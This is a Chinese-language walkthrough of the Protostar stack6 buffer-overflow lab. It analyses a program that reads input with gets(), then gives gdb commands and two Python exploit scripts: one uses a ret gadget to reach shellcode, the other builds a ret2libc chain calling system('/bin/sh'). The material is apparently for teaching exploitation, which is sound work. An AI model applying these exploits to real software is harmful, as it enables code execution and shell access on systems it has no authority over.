0x0B_缓冲区溢出_ret2libc
stack6_源代码分析
- 源码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
- 这段代码所做的只是打印,然后将我们的输入存储在 64 个字符的缓冲区中,最后打印出来
__builtin_return_address
是编译器的一个函数,用来读取栈中当前的返回地址- 下面的语句保证了返回地址不以
0xbf
开头:if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); }
gdb 分析
- 在调用
getpath
函数处打断点,使用info proc map
查看映射内存(mapped memory) - 以
0xbf
开头的唯一地址在栈上 - 因此,我们无法返回到栈的地址上
- 查看
getpath
反汇编信息
方法一
- 我们知道 ret 指令的作用就是查看当前栈顶的地址,删除它,然后跳转到这个地址
- 那么,如果将返回地址修改为 ret 指令所在的地址,那么 ret 指令会先删除当前栈顶元素,然后跳转到自己的位置
- 但是由于原本的栈顶元素已经被删除了, esp 向下(栈底)移动的一位(4字节)
- 因此此时指令指针指向原本 ret 指令所指位置的下一个地址
- 首先确定偏移量
disassemble getpath # 查看 getpath 的 ret 地址 break *0x080484f9 # 在 ret 处打断点 r < /tmp/alphabet # 输入字母表,A~Z即可 # 到达断点 si x/1i $eip # 查看 eip # eip 指向 0x55555555(UUUU), # 说明偏移量为 A~T,80位 x/wx $esp # 查看 esp # esp 的值为 0xbffff79c # 但这并不是我们想要的位置,因为之前提到由于 ret 要执行两次 # 所以 esp 要多向下移动 4 字节(32位) # 因此 shellcode 的地址为 $esp+32
- 编写脚本
import struct padding = ''.join([chr(i)*4 for i in range(ord('A'), ord('U'))]) eip = struct.pack("I", 0xbffff79c+32) ret = struct.pack("I", 0x080484f9) payload = '\xCC'*100 print padding + ret + eip + payload
- 查看结果,得到 SIGTRAP 信号,说明成功执行 shellcode
方法二
-
使用 ret2libc 技术可以在有 DEP(数据执行保护)的情况下,篡改程序的返回值使其返回到 libc 库,执行一些危险函数
-
首先获取
system
的地址r AAAA # 随便输入 p system # $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
-
然后查找
/bin/sh
的地址(在 gdb 中查找会有 bug,因此直接在 libc 中查找)- 在 gdb 中查找 libc 基址:
info proc map
- 查找
/bin/sh
:find 0xb7e97000, +9999999, "/bin/sh"
- 但是 gdb 中有一个 bug,因此使用 strings 在 libc 库中查找
/bin/sh
偏移量strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh" # 11f3bf
- 基址加偏移量即可得到
/bin/sh
的地址
- 在 gdb 中查找 libc 基址:
-
构造脚本
import struct padding = ''.join([chr(i)*4 for i in range(ord('A'), ord('U'))]) ret = struct.pack("I",0xb7ecffb0) return_after = "AAAA" shell_addr = struct.pack("I",0xb7fb63bf) print padding + ret + return_after + shell_addr
-
脚本解析
0xb7ecffb0
是system
的地址0xb7fb63bf
是/bin/sh
字符串的地址return_after
的含义system
指令在执行时,会先将指令(/bin/sh
)入栈,然后call
指令将执行完system之后要返回的地址入栈,以便执行函数后返回主程序继续执行system
执行完毕后栈的状态如下图所示- 地址为 4 字节
- 在实际操作中,我们并不关心
system
的返回地址,所以随便填即可